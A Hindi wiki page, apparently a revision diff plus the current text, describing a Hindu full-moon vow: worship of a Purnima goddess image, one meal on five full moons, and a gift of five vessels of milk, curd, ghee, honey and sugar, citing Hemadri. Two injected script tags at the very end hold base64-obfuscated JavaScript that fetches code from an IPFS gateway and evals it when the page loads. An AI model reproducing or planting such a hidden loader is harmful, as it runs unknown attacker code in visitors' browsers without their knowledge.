आदित्य चौधरी (वार्ता | योगदान) छो (Text replace - "उल्लखित" to "उल्लिखित") |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==") |
||
पंक्ति 5: | पंक्ति 5: | ||
*कर्ता को सभी वांछित फल प्राप्त होते हैं।<ref>हेमाद्रि (व्रतखण्ड 2, 195-196, भविष्योत्तरपुराण से उद्धरण)।</ref> | *कर्ता को सभी वांछित फल प्राप्त होते हैं।<ref>हेमाद्रि (व्रतखण्ड 2, 195-196, भविष्योत्तरपुराण से उद्धरण)।</ref> | ||
{{संदर्भ ग्रंथ}} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
09:47, 21 मार्च 2011 के समय का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- पूर्णिमा देवी की प्रतिमा की पूजा की जाती है।
- पाँच पूर्णिमाओं पर एकभक्त।
- अन्त में पाँच पात्रों का, जिनमें क्रम से दूध, दही, घी, मधु एवं श्वेत शक्कर भरी रहती है, दान दिया जाता है।
- कर्ता को सभी वांछित फल प्राप्त होते हैं।[1]
टीका टिप्पणी और संदर्भ
- ↑ हेमाद्रि (व्रतखण्ड 2, 195-196, भविष्योत्तरपुराण से उद्धरण)।
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>